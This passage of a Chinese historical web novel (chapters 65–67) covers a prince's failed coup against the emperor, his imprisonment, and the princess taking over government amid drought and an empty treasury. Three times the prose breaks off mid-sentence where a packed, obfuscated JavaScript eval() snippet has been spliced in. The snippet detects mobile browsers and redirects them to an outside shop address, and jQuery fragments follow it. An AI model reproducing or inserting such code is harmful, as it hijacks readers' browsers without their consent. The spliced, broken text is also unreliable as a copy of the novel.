“程显,本宫于你危难之时提拔你,不曾想你竟这般报答本宫?竟将本宫至于此不忠不孝之地!” 黄崇安跪着上前爬了数步,攀在刘仲脚边,道:“殿下,我们几人皆受过殿下的恩惠,若无殿下赏识,今时今日,我们几人也不可能到今天这样的地位,不可能有今天这样的权势。” “可殿下如今却在此险境,臣等几人怎会安心?” “如今也就只有殿下了。” 林英只是跪着,迟迟未语,他读了这么多年的圣贤书,一心想着报销朝廷为国为民,造反这种大逆不道的事,他是绝不敢想也绝不敢做的,哪怕他们几人顺利扶持二殿下登基,那日后史书之上又该如何记载?他们焉有好名声? 可程显于他,是伯乐,若无程显从一众落榜的考生间挑中了他的试卷,他也不会有今日这样的官职地位。 因此事事听从程显,如今哪怕再不愿造反一事,也不得不来了。 刘仲依旧不为所动。毕竟,当初就是程显鼓动他,以巫蛊之术陷害太子,这才落得如今这副局面。 若是再听从程显之言,自己岂非要落得个万劫不复的下场? “殿下不是想大有作为吗?” “殿下不是想要政治清明之象吗?” “殿下不是想让天下寒门学子皆能才有所用吗?” “如今殿下便是天下学子之希望啊!” “还望殿下早做决断!” 刘仲看了眼跪在地上的三位臣子,又看了眼垂首侍立在一旁满眼希冀的吴忠义,终是下定决心,接过兵符。 他也是父皇的孩子,凭什么争不得? 65. 秋猎祭祀(十五)杀父弑君 刘仲手持兵符入宫。 承道帝居于书房之上,早早便屏退了宫人,静静等着刘仲。见刘仲终于来了,开口问道:“朕并未曾传召你入宫,你怎么来了?” 刘仲直直跪在地上,一言不发。 承道帝冷哼一声;“不是让你在府上好生反思吗?” 刘仲开口:“儿臣无错,不知该做何反思。” 承道冷笑一声,起身走至刘仲面前:“你以巫蛊之术陷害太子,又逼太子饮下鸩酒,你不该思过吗?” 刘仲眼神有些松动:“父皇此言差矣,巫蛊所用的人偶,是在太子的东宫发现的,与儿臣何干?” “太子狱中畏罪自戕,又与儿臣何干?” “我知道,父皇不喜欢我,觉得我是个耻辱,可断然也不该将这些事栽赃在我头上!” 承道帝冷眼看着刘仲:“既与你无关,为何吴忠义会与你勾结在一起?” “既与你无关,为何吴忠义盗取的兵符会在你手上?” “既与你无关,毒杀太子的鸩酒缘何会出现在你府上?” 刘仲眼神之中满是震惊,父皇,怎么知道? 承道帝道:“你这么做是为了什么?你想要什么?” “你想要什么?” “权?财?还是色?” “你不爱权,也不爱财,也不是个喜好没色之徒” “你想要什么?” 承道帝眼神锐利:“你想要名分?” “朕给了你名分,认你为朕的儿子,你的名字也记在了宗正寺,你还想要什么?” 刘仲对上承道帝的眼神,直勾勾道:“父皇错了,天下诸人,无人不想要权,我也是天下之一,也想要权!想要至高无上的权力!” 承道帝反问道:“权?” “你就这么想当皇帝吗?” 刘仲反问:“我不能吗?” “我和三弟都是父亲的儿子,三弟可以为什么我不可以?” 承道帝看着面前这个儿子,怎么看怎么觉得陌生:“朕怎么会有你这样的儿子?你为了做皇帝已经不择手段了。” “今日你敢谋害太子,明日是不是也敢谋害朕?” 刘仲迎着承道帝的目光,缓缓起身:“在其位,谋其政,可太子呢?居于储君之位,却对外戚多有纵容,如今酿成如此大祸,京城流血数日,乱葬岗的尸体都堆满了,父皇还觉得三弟身为太子无可挑剔吗?” “有他这样太子在,臣民哀呼!” 刘仲梗着脖子,青筋暴起:“我知道怎么做一个皇帝,我知道怎么做一个合格的皇帝,我还知道怎么做一个能使我们大江强盛的皇帝!” “父皇,儿臣自信能做一个比父皇,比三弟都优秀的好皇帝!” 承道帝转身,取下放在龙椅之上的长剑执于手中,紧接着折返回来,抽出长剑抵在刘仲胸口,怒视着刘仲:“你还有没有心?朕真想扒开你的心看看,看看里面到底都是什么!” 刘仲迎着剑光,上前一步,剑锋刺破他的衣服,刘仲伸手握住,剑刃锋利,手掌溢出丝丝血迹,但他仍无所畏惧。 承道帝手中的剑不免后撤一寸,质问道:“你这是做什么?” “你这是要逼宫造反吗?” 刘仲紧紧地握住朝他刺过来的宝剑,与承道帝对抗:“请父皇传位于儿臣!” “逆子!”承道帝手上用力,剑在刘仲手中一寸一寸地费力前行,但在抵达刘仲胸口皮肤之时,便再也刺不进去,承道帝怒道:“逆子!” “朕今日就要杀了你这个逆子!” 刘仲目光坚定,直视着承道帝,从承道帝手中夺过长剑,高高举起长剑,跪下逼迫承道帝:“请父皇传位于儿臣!” 承道帝已过壮年,且太子刘牧、四子刘茂、大儿子刘元的相继离世已经击垮了他,精神已大不如从前。 承道帝一个趔趄,后腰磕在桌子上,重重摔在地上。 刘仲转守为攻,缓慢起身,握住剑柄,手中长剑转向,直指承道帝,朝着承道帝一步步逼近,居高临下地看向承道帝。 “二弟,你这是做什么!” 刘安听闻刘仲进宫,联想到吴忠义先前鬼鬼祟祟出宫去,便顿觉不妙,派人去寻七皇子刘昶,谁知他不在宫中,无奈之下,只得带上了金中堂,匆匆忙忙地来到了福宁殿。 福宁殿外羽林军增多,刘安费了些功夫才进入福宁殿,岂料竟看到刘仲手持长剑威胁承道帝这一幕,当即怒喝一声。 “父皇!”刘安看向倒在地上的承道帝,惊喊一声,旋即冲到刘仲的剑下,挡在承道帝身前,满眼愤怒瞪着刘仲:“若你要杀了父皇,不如先杀了我,从我尸体上踏过去!” 刘仲见刘安挡着,怕伤了她,有了些许收敛,剑回退一些。 年幼之时,便是这个大姐姐对他多有照拂,相较于承道帝,大姐姐的这分薄面,他还是会给的。 承道帝道:“安儿,别和他废话,传羽林军,将这个逆子处以极刑,五马分尸!” 刘仲听后一把扯开刘安,把剑架到承道帝脖子上,恨恨道:“不妨试试看,到底是儿臣的剑快,还是父皇的旨意更快!” 刘安反应过来,扑开刘仲,长剑啷当一声掉在地上。 刘安怒斥道:“你疯了!这是父皇!父子相向,同室倒戈,你怎么敢做如此大逆不道之事!” 刘仲侧目而视:“大姐姐,我念及你的恩情,不想对你下手,你走远些,免得待会父皇的血溅到你衣裙上。” 刘安衡量片刻,抢在刘仲之前,捡起地上的长剑,一边指着刘仲,一边将承道帝扶起来。 刘仲慢慢爬起来,淡定自若地整理衣冠容发,手上的鲜血在衣衫上印出一朵朵掌花,面上丝毫不慌。 他手握兵符,召令羽林军,眼下整个福宁殿都被他围了起来,里里外外都是他的人,自然是不把刘安和承道帝放在眼里。哪怕目的已然暴露,可只要拿到传位诏书,无论做什么便都值了。 刘仲的衣冠上的朵朵掌花,看起来触目惊心。 “你对我的好我心里记得。” “大姐姐,你放心,我登基后你还是尊贵的长公主!” “当然,对我不好的,我也记得。”刘仲话锋一转,看向承道帝。 承道帝从刘安手中夺过长剑,伸手将刘安护在身后,剑指刘仲:“安儿退后,朕要亲自砍了这个逆子!” 承道帝高举起手中的长剑,向前一步,朝着刘仲看过去。 刘仲一副漫不经心的样子,歪着脑袋,露出干净的脖颈,迎接着承道帝的剑,等着承道帝砍过来,他倒想看看,父皇风采,是否依旧。 不料承道帝怒火攻心,痰迷了心窍,身体突然僵直,手中的剑“当”地一声掉在地上,双眼失神,直挺挺地朝后倒去。 “父皇!”刘安接住了倒下的承道帝,抬头看向刘仲,眼神复杂,有愤恨又有几分不可思议,还夹杂着几分洞悉刘仲品行的意料之中:“传御医!” 门口的吴忠义和吴善辅冲了进来,吴忠义见此情形,嘴里有些含糊不清, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274262|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颠倒黑白地大声喊道:“来人呐!长公主殿下行刺陛下,速来救驾!” “你!”刘安怒火中烧,直指吴忠义。 刘仲听后微微皱眉,虽想保下刘安,但一想到他的千秋大业,总是要牺牲一些人的,因此任由吴忠义喊着。 早在殿外等候的御医听闻这一声,忙进殿来,将承道帝抬至偏殿抢救。 围着福宁殿的羽林军也持着长枪冲进殿内,将刘安团团围住。 刘仲摇头叹息,冷笑一声道:“大姐姐,你要是早听我的该多好,若你早些听从我,你还是尊贵的长公主,这又是何必呢。” 刘安眼见着自己被围,父皇昏迷,姐弟反目,不仅已到绝境,还要背负上弑父的罪名,且已无转圜余地,身体不禁颤抖,闭上眼睛,绝望地流出两行眼泪。 为自己痛心,为这虚无的兄友弟恭痛心。 她怎么也没想到,自己竟被陷害至此绝境! 怎的,怎的当初死的不是他! 可此时醒目早已为时已晚。整个福宁殿上下,都是刘仲的人,自己如今是羊入虎口,又怎能逃出生天? 金中堂见长公主蒙受冤屈,奋起反抗,怎料寡不敌众,被数柄长枪按倒在地,脸色涨得发紫。 吴善辅见状,才明白这一切竟都是二皇子刘仲布的一个局,真是好缜密的一个局啊! 可他又是如何说服陛下复用吴忠义的呢?这一局,若是没有吴忠义从中斡旋,他刘仲又岂能成事? 想及方才候在偏殿的御医们,吴善辅心中不免有个猜想,莫不是……莫不是陛下早就预料到了? 若真是陛下设下的这一局,那响应陛下缉拿刘仲之人是谁? 吴善辅看向被围困的刘安,暗自摇摇头,不是长公主,那能是谁?忽然想到今日承道帝曾传召七皇子,七皇子善武,才刚平定了叛乱,深受陛下看重,如今又掌管京城的护城军,除了他,还会有谁? 只是如今陛下昏迷,长公主被围困,二皇子即将假拟诏书登基,福宁殿内外都听从二皇子的命令,又该怎么将这消息传递出去呢? 如今成败便在此一举了。 想来七殿下率领的护城军就在这附近,只要自己能跑出大殿,能让他们知晓殿内发生的一切,那兴许还有救。 想罢,吴善辅抱着必死的决心,趁着没人注意自己,朝着大殿门口慢慢挪动。 怎料太过紧张,在迈过门槛的时候,竟被跨了几十年的门槛绊了一跤。 扑通一声摔倒,殿内众人的注意瞬时被吸引。。 吴善辅回头朝殿内一看,羽林军正朝他走来,此时此刻也不顾什么三七二十一,朝着宫门大步跑去,边跑边大喊道:“刘仲杀父弑君!刘仲杀父弑君!” “刘仲——杀父弑君——” 皇宫内极为安静。 吴善辅的喊声穿过皇宫,很快就传到了正在赶来的护城军耳中。 刘昶闻言,加快了脚步。 围着长公主刘安的羽林军听到吴善辅的大喊后,纷纷将手中的长枪投掷出去,一枪一枪地扎在吴善辅背后。 其中有一杆枪,力道之大,直扎透了吴善辅的胸口,穿出胸口数寸。 吴善辅低头看向那扎破胸口被染红的枪头,径直朝着前方倒了下去,心有不甘,拼着最后一口气,在地上艰难地爬行挣扎,嘴里还喃喃念道:“刘仲……杀父弑君……” 刘安见此情形,趁着刘仲不防备,抢过桌上的玉玺,高举过头顶,威胁道:“你若敢再靠前一步,我便摔碎这玉玺。” 66. 代政(一)永安代政 “你可想清楚了,没有玉玺的传位诏书,就是一张废纸。没有传位诏书,便名不正言不顺,天下臣民皆可讨伐于你!凡宗亲子弟,皆可起兵攻打你!” 刘仲放下笔,看了眼方才拟写的诏书,抬头看向刘安,嗤笑一声:“传位诏书?当年父皇登基不也没有传位诏书吗?” 话虽这么说,可他谋位不正,诏书上还是需要盖上玉玺。 刘仲带着羽林军,一步步逼近刘安,逼着刘安交出手中的玉玺。 刘安将玉玺抱于胸前,步步后退,最终无奈被逼在角落里。 刘仲伸出手来:“大姐姐,给我。” 就在这千钧一发之时,福宁殿外响起了一片兵器碰撞的声音。 刘仲大惊失色,问道:“怎么回事?” “兵符在我手上,外面的是怎么回事?竟敢违抗兵符?” 正说着,围在福宁殿外的羽林军被刘昶带领的护城军杀尽,福宁殿的大门被破开。 刘仲看看破门而入的刘昶,又看看正朝着殿内气势汹汹走来的护城军,再看看手上未曾加盖上玺印的诏书,一下子慌了神:“杀了他!杀了他!” 刘仲亮出兵符:“我有兵符!” 刘昶当即掏出金羽令牌:“陛下御赐的金羽令牌在此,见此令牌,如陛下亲临。” “尔等还不速速跪下?” 福宁殿上的羽林军们看一眼兵符,又看一眼金羽令牌,一时间竟不知该依从哪个。 刘昶骂道:“蠢了头了?” “你们先前受蔡桐蛊惑,谋逆作乱,陛下仁慈,没治你们的罪,如今却又受了这逆贼的蛊惑,难道还想着再次作乱不成?” 羽林军闻言,纷纷丢下手中的兵器,垂头跪在地上。 刘仲气急,慌道:“起来!起来啊!本宫有兵符!还有父皇亲笔所书的传位诏书!” “何须听信他的?” “诏书?”刘昶乜视一眼,越过跪在地上的羽林军,一把从刘仲手中夺来诏书,草草扫过一眼,耻笑一声。 与父皇的笔迹确有八九分相似之处,不过好在事前父皇曾将计谋告知于他,这份诏书绝不可能是父皇亲手所书,那便只能是刘仲伪造的。 刘昶随手将假诏丢在地上,抬手指着刘仲鼻子道:“你假拟诏书,矫诏传位,该当何罪?” “你——”刘仲话还没说完,还未曾辩解几句,便被刘昶身后的护城军押下。 看着刘仲被拖了下去,刘安惊魂未定,抚着胸口,眼前瞬息万变的局势实在摸不着头脑,因而问道:“七弟,这……这是……” 刘昶拱手:“大姐姐受惊了,待我见过父皇之后,再将此事告知大姐姐。” “好。父皇气血攻心,眼下现正在内殿呢。” 刘安与刘昶二人忙向着内殿走去,才看了承道帝一眼,便瞥见一旁的御医脸色凝重。 御医将二人拉到一旁,低声叮嘱道:“二位殿下,陛下再加上这几日心绪不宁,忧思过度,今日又气血翻涌,受了这么大刺激……” 只怕……时日无多。 御医欲言又止,最终只是说道:“今后陛下需得耐心将养着,万万不能再受到刺激了。” 刘安与刘昶二人面面相觑,一时也不知该说什么。 刘昶攀着御医的胳膊问道:“父皇这……你所言可当真?你可细细查验过?” 刘昶心思不宁,没想到会是如今这样的局面,明明先前父皇说会装出一副昏迷的样子,待刘仲谋逆之时,自己再现身将抓他个现行。怎么……如今这局面竟与父皇今晨交代给他的大相径庭? 御医叹了口气,摇摇头:“陛下已上了年纪,身体早不似当年那般强健,再加上京中连着发生这么大的变故……” 两位皇子相继离世,还是两位最有希望继承皇位的皇子相继离世,陛下身体怎会康健? 刘昶听完,一个踉跄,险些站不稳,心中还翻涌上来一阵阵的后怕。 刘仲有模仿着父皇笔迹的假诏在手,连大姐姐都能被刘仲说成是逆贼,若自己再晚些时候,待他将玉玺盖上,自己再率领着本不该出现在皇宫内的护城军现身,只怕……只怕他刘昶今日也成了谋逆篡位之人。 若不是吴善辅喊得那么几声,只怕……只怕就让刘仲得逞了。 刘安在承道帝身旁守了一夜,听得承道帝一声清嗓子的声音,忙秉烛看去,见承道帝睁开眼,喜极而泣道:“父皇,你醒了。” 承道帝醒后,只觉身体沉重了不少,就连伸手想要摸摸刘安的脑袋安抚她,抬起手来也有些费劲,想来是年纪真的大了。 承道帝坐起身来,问道:“安儿,我……昏迷了多久?” 刘安擦去眼角溢出的泪珠,转身端来一碗参汤,轻轻吹过之后,喂至承道帝嘴边:“父皇只是睡了一夜而已。” 承道帝苦笑一声,知道刘安是安慰她,如今他的身体什么状况他最清楚。 不免想到逆子刘仲,承道帝怒上心头,冷脸道:“那个逆子呢?” 刘安如实回道:“已将他押入天牢之中,等候父皇处置。” 承道帝冷哼一声:“这样的逆子,千刀万剐也不为过。” 刘安眉头紧锁,虽刘安也对刘仲多有怨言,可若父皇下旨杀了他,日后史书只会记载父皇是个连自己孩子都能杀的暴君,于父皇的名声无异。 “不过,死了也太便宜他了。” “即刻拟旨,刘仲……”承道帝顿了顿,杀父弑君可是千古罪名,刘仲这个逆子,他那三两重的骨头也不知道能不能担得起,想罢,承道帝改口道:“刘仲忤逆不孝,着贬为庶人,终身幽禁于城南。” “他,不再是朕的儿子了。” 刘安停笔,听得承道帝咳了数声,忙轻拍着承道帝的后背,忧心忡忡:“父皇,你且消消气,莫要再动怒了。” 承道帝咳了两声,又道:“拿玉玺来。” 刘安递来圣旨,捧上玉玺。 承道帝抬起玉玺,还未在圣旨上盖上玺印,又是一阵欲将五脏六腑都吐出来的剧烈咳嗽。 刘安忙拿起手帕接着,待承道帝咳过之后,手帕之上,赫然一口血痰。 刘安担忧道:“父皇!” 血腥的味道弥漫在口腔之中,承道帝尝着舌尖化开的腥甜之味,顿感心力交瘁,久久未语。 承道帝目光转向一旁的玉玺,怔怔地看着。没想到他的身体竟然这么不堪重负,也不知还能撑上几日,也不知还能不能为绥儿再多铺些路。 刘安顺着承道帝的目光看去,将圣旨与玉玺奉上。 承道帝盖上玉玺,眉眼之间难掩疲惫之色:“处置了吧。” “他府上的仆从婢女,全裁撤了,不许有人再伺候他。” “再打上一十八根栏杆,终身幽禁于栏杆之内。” 刘安抬眼看了眼承道帝,很快又垂下眼去。他向来要强要脸面,如此受辱,果真是生不如死。 刘仲被打得半死,奄奄一息之间,被带出天牢,而后又被随意丢在床上,刘仲感到有些不可思议,父皇竟未下旨处死他? 圣旨接踵而至,刘仲才得知,他被终身幽禁于此,不由得哼笑一声,史书读了那么多,这个下场,他早就知晓了,成王败寇而已。 忽的,他的正寝内竖起多根栏杆,那栏杆,就像天牢里的栏杆一样,将他与外界隔绝开来,只在最下面,留了个狗洞大小的门。刘仲不解,这是何意? “你们这是做什么?”可惜刘仲身上带伤,无法走路,即便是他想从床上爬下来,也要费好些力气。更何况,他向来要强,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274263|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在这群奴才面前爬行,他做不到。 匠人们并未理会刘仲,匆匆完工之后,临走前,瞥了刘仲一眼。看他的眼神,有几分憎恶,还有几分的,怜悯。如此忤逆不孝之人,陛下竟还留他活在世上。 刘仲此时是叫天天不应,叫地地不灵,从天亮躺到天黑,再从天黑躺到天亮,陪着他的,只有钻心刺骨的疼痛,只有浑身的痛楚在时时刻刻地提醒他,让他不敢忘记他所做下的恶事。 明明只差一息,若他能将玉玺盖在传位诏书之上,今时今日,躺在这里苟延残喘的人便不会是他。 对啊,明明就要成了,怎么七皇子突然就杀出来了呢?程显也很是费解。 如今陛下身体不适,政务一事全交由永安长公主刘安处理。 为着刘仲一事,程显纠集黄崇安、林英二人,三人来到刘安面前,探寻刘仲一事。 黄崇安明知故问道:“请长公主殿下明示,二殿下这是犯了什么事?竟被贬为了庶人?” 刘安一抬眼,淡淡道:“父皇的圣旨里不是都写了吗?” “忤逆不孝。” 程显问道:“臣等愚钝,敢问殿下,二殿下哪里忤逆不孝了?还望殿下明示。” 林英则是把头压得低低的,垂头跪在程显、黄崇安身后,并未置一词。 听闻程显如此问,刘安这才正视起来,放下手中的奏折,眯起眼睛,撑着下巴,静静地看着三人。 刘安记得,这个户部尚书程显,为人刚正不阿、不畏权贵,敢于直言进谏,深得父皇青睐重用,当初他甚至敢顶着太子的威压,不惧颖州蔡氏的威慑,直言进谏。 如今怎的…… 程显依旧不依不饶:“还望殿下明示。” 刘安冷哼一声,玩味一笑:“这其中的关窍我哪里知晓,不过是一切全凭父皇做主,我也只不过是依着父皇的旨意行事罢了。” “几位大人若是有什么疑问,不妨去过父皇,请父皇示下。” “何故来为难我这个……弱女子呢?” 程显闻言一怔,他们先前只以为刘安心慈手软、面善好说话,可没想到刘安会如此回答,他们几人犹如一拳打在棉花上,满满的无力感。 程显侧头与黄崇安对视一眼,不情愿道了声:“殿下这话严重了,臣等只是忧心朝局。” 刘安并不言语,只是冷眼看着三人,看着他们垂头跪在地上,良久,才道:“三位卿家若是无别的事,便退下吧。” 林英才抬起膝盖,瞟见跪在他前头的二人并未挪动,赶忙又跪下。 “哦?三位卿家还有什么事要奏禀?”刘安脸色已经冷了下来。 程显道:“京城西边的靖州干旱已有数月,民生维艰,还请殿下抉择。” 语毕,程显抬头,对上刘安的眼神,这眼神,锐利,冷漠,压迫,还有独属于上位者不可撼动的威严,与陛下有几分的神似,只是与陛下相比,少了几分的老辣,多了几分的稚嫩。如今,又多了些许的彷徨。 他倒要看看,长公主临政,到底有没有这个本事。 刘安闻言心头一颤,轻叹一声,怎么靖州干旱的事情她如今才知晓?兹事体大,需得请示父皇才好做出决断。 既有灾情,少不了便要赈灾,可转念一想,对付干旱这种天灾,灾后的□□想必定有旧例可循,如今靖州干旱数月,难道官员们竟一点举措都没有吗?竟任由旱灾横行、百姓民生维艰不成? “我原以为程大人是个为国为民的好官儿,今日一见,也不过尔尔。” “难不成这旱灾竟无前例可鉴?难不成这灾后□□竟无旧例可循?竟任由天灾横行!” 刘安气得一掌拍在桌子上:“我看户部的耳朵都被塞住了,眼睛也都被糊住了,靖州旱灾竟藏到今日才来报!” 67. 代政(二)国库空虚 程显听闻此言,心中自是不满,就连陛下,也从未对他说过这些重话,眼前这个不过是一个临时代政理事的长公主! 因而呛声道:“殿下此言差矣,面对此等天灾,并非是臣等毫无作为,实在是……实在是国库空虚,即便是臣等想做些什么,也实在是没有银钱所支撑啊!还望殿下明鉴!” 说罢,额头重重地磕在地上。 听闻国库空虚一事,刘安脸上有了些松动,气势也柔和下来几分。先前刘安便听承道帝提起过,只是没想到如今竟到了如此地步,竟连赈灾的银两都拿不出来了。 黄崇安也紧跟着哭诉道:“殿下不知,近来几年灾情频发,诸如前年汀州水患,免了一年的赋税,去年最南边的康州疫情,也免了一年的赋税,今年靖州旱灾,也免了一年赋税。” “此外,拢共还剩下栾南、永州、颖州、覃州、陌南、彰州、海州等七地,其中,颖州赋税最轻,永州重边防,彰州原先二十城池,如今仅剩十城,自是大不如从前。” “再者,栾南赋税从未曾上缴过朝廷,甚至每年还向朝廷哭穷要钱,前不久栾南战事,也是一笔不小的开销。” “如此种种,国库如何充盈?” 刘安一时被堵得说不出话来,她自幼是父皇的掌上明珠,满宫里是独一份的恩宠,何曾想过国家财政竟到了如此危急之时。听得程显、黄崇安二人言语之间带着几分的咄咄逼人之势,见跪在他们身后的林英自始至终未曾发过一声,便点了林英:“林卿家,自你进来之后便一言不发,不知对于此,你可有什么要说的吗?” 程显黄崇安二人回头看了眼林英。 林英见自己避免不了发言,便直了直身板,清了清嗓子,开口道:“殿下,十二年前,边防战败,每年都有给胡人支付银钱,不久前,秦王回京,还付了一大笔的赎金。再加上今年皇子皇女们相继成婚,以及前不久的京城叛乱,前几日皇室宗亲的丧仪,也花了不少银钱,这些都是从国库中另拨出来的。” “待臣等将财政收支一项呈于殿下面前,殿下看过便知。” 刘安点点头,表示应允。 程显手心冒出一层冷汗,这林英怎么这般口不择言?如今财政是有些问题,可若是让长公主查出来财政有问题,岂不是打他这个户部尚书的脸? 林英继续道:“殿下,当下除了免除赋税,发放赈灾粮以外,更要紧的是需安定民心。近来京中连着发生大事,若此时靖州旱灾一事再传开,只怕民众议论,时局不稳。” 刘安皱着眉,问道:“那依林卿家看来,眼下该如何做?” 林英想了想,回到:“昔日汉武帝时期,曾颁发罪己诏以安抚民心。如今情形,陛下也可效仿汉武,旨在安抚民心,稳定时局。” 刘安沉思良久,气势也没先前那般凌厉,摆手道了声:“本宫知晓了,你们退下吧。” “是。”三人齐声道。 林英又补了句:“殿下,臣稍候将财政收支一项整理好后再呈与殿下面前。” 刘安“嗯”了一声。 程显没想到林英还追着这事不放,刚出了福宁殿,便瞪了林英一眼,冷哼一声,甩袖离开先走了。 黄崇安欲言又止,但碍于在皇宫之内,不好多说什么,只能当着林英的面,五官皱在一起,连连拍手叹息,撇下林英,追着程显去了。 林英扶正衣冠,不紧不慢跟在二人身后。 刘赞被刘安紧急传召,忙不迭赶来,见程显三人出了宣政门,心中已大概猜到大姐姐此时传召他或许与这三人有关。 户部?莫不是有什么把柄落到他们三人手里了?不应该啊,刘赞向来做事谨慎,不会犯这样的错误。 想着,刘赞来到刘安面前。 “大姐姐,这会子找我有什么事吗?”刘赞笑道。俗话说,伸手不打笑脸人,大姐姐见了他,定不会重重责罚他的。 “可是父皇应允开放边市了?” 刘安捏了捏眉心,叹道:“边市的事儿先放一放,我且问你,如今国库空虚,具体亏空多少,你可知晓?” 刘赞道:“这……我便不甚清楚了,财政收支一事,均在户部,大姐姐传户部尚书一问便知。刚我还看见他才出了宣政门,此刻想来还未曾出宫吧,不妨再传唤他。” 刘安长叹一声,眉眼之间尽是疲惫之色:“国库空虚便是是户部尚书程显才刚告知于我。” “如今靖州旱灾,朝廷竟一时拿不出钱去赈灾,我正为此事发愁呢。就刚才,为着这事儿,我还冲他发了好大一通火气。他走的时候心里可憋着气呢,我哪里敢再劳烦他,我还怕会给我使个大绊子。” “父皇如今身体不畅,我能做的,也只是替父皇稳住局面而已,万不可再生事端。” “我想着,旁人我信不过。你,我倒是相信的。算账理财一事,你最清楚也最熟练,,况且如今涉及国家财政,我想着还是找你最为稳妥。” 刘赞疑惑,虽说国库空虚,支出大于收入,可也远不至于拿不出赈灾的银两啊,便问道:“大姐姐,户部怎么说?” 刘安将方才户部那三人说的话复述一遍,还没说完,刘赞便察觉到不对。 刘赞道:“胡扯!先前太子成婚,只从国库之中拨取了些许而已,大姐姐先前那次,更是没用着国库,甚至支援栾南那次,我至今还记得,太子求到我面前,是我,我京郊那座私宅还有京里几十个商铺,都掏空了,这才勉强凑出来的。” 刘赞声音低了好几个度,怅然道:“若不是为着这些,我组建情报网的事也不会一延再延,先前蔡桐叛乱一事,便不会落得那样的下场。” 想到这,刘赞心中愤恨不已,声音又抬高不少:“不过这些何时竟成了国库里的开销了?大姐姐,这话是谁说的?我找他去,当面锣对面鼓的把这事儿弄清楚!” 刘安按下刘赞,道:“我也察觉有些异样,只是这其中的一应事项我并不大懂,这才想着叫你过来问个清楚。我记得,还是你同我讲的国库空虚,当时采办等一应事务,都未曾用宫里的,还是我们找的外头的。” 刘赞点点头,愤愤道:“是啊,尤其是支援栾南一项,这是个大头,他们竟将这项也一并算入国库的花销之中。” “想来是他们以为姐姐不懂,便如此说辞来糊弄姐姐。哼!好个户部,今日若不是姐姐找我来,我还被蒙在鼓里呢。” 与刘赞简单对过之后,刘安心中有了底,但也有了新的问题:户部所列举的一众事项花销并未走国库的账,那国库的钱呢?钱都去哪儿了呢? 诚然,查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274264|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财政支出是一方面,可现在最重要的是要赈济靖州,要实实在在地拿出钱粮,可国库空虚,她刘安又从哪儿拿得出钱呢? 刘安捋了捋头发,长叹一声,眼前时政朝局就犹如一团乱麻,如何能不焦虑?处处都缺钱,处处都没钱,处处又都要用钱,这可该如何是好?焦虑之下,竟生生薅下数根长发。 刘赞见刘安焦虑得不行,满眼心疼,出主意道:“大姐姐,依我看,如今还是得开源。” 刘安问道:“开源?” 刘赞解释道:“正如户部所言,我们大江,除京城外,还有十州,并永济、宿城两座重要城池要塞。其中,因各种各样的原因免除赋税或赋税减少的就十之有七,而国库进项又以赋税为重,如此种种,致使年年都收不上来税,入不敷出,国库又如何才能充盈?” 刘赞道:“对,眼下天灾不断,赋税是一年比一年少,若想充盈国库,需得从其他地方来财。就拿我先前说得,开通边境市场,引进周边国家的物品,高价卖给这些个世家大族,我们亦可再将我们的东西高价卖出去。” “这些个世家,累世的积攒,手头上积累了不少的财富,可这些钱财又不会在市面上流通,致使市面上可流通的财富越来越少。往常来说,若要攫取他们的财富,除了改朝换代或是战争,也就只有抄家灭族一说,可这些法子都太过强硬,而开通边市的意义,就在于此,以温和的手段,从他们手里将财富拿出来。” 刘安有些犹豫:“这……兹事体大,并非是我能做得了主的,虽说父皇先前同意了你这个想法,可具体事项又该如何实施,我看还是与父皇商议过后再做定论吧。” 开边市,刘赞先前就与太子与承道帝都商议过,都觉得开放边市一事可行。只是东边是胡人十八部,西边有海寇时而作乱,若是开放边境,只恐敌人会趁机渗透进来,因而暂时搁置,没想到之后太子薨逝,京中发生叛乱,承道帝病倒理不了政,此时又一再搁置。 刘赞只得无奈叹道:“如今京中接连不断地出事,这事儿一推再推,也不知何时才能实施。” 刘安招手,待刘赞耳朵凑近,低声道:“还有一事,我想知道程显等人与刘仲之间到底有何关联,此人是否可重用。” 正说着,户部送来了国库近三个月的财政收支。 莲音道:“殿下,林大人说了,先整理了近三个月的收支请殿下过目。” 一摞摞的账目明细摆在眼前,刘安看了直觉头大,无奈扶额,这才只是三个月的收支明细,便这么多,单凭自己是查不完的,可也不能贸然查验国库的账目,总得有个突破口才是。 刘安看向一旁的刘赞,叹道:“你最懂这个,你我二人且先一同看过,看看这国库的银两都用在了何处,其中是否藏有猫腻。” 刘安拿来一本,翻了数页,瞟了刘赞一眼,犹豫再三道:“赞儿,我记得,你在京中开设了不少商铺吧,当初栾南战事,你便拿出了不少,如今……” “只怕还是需要你先垫上一些。” 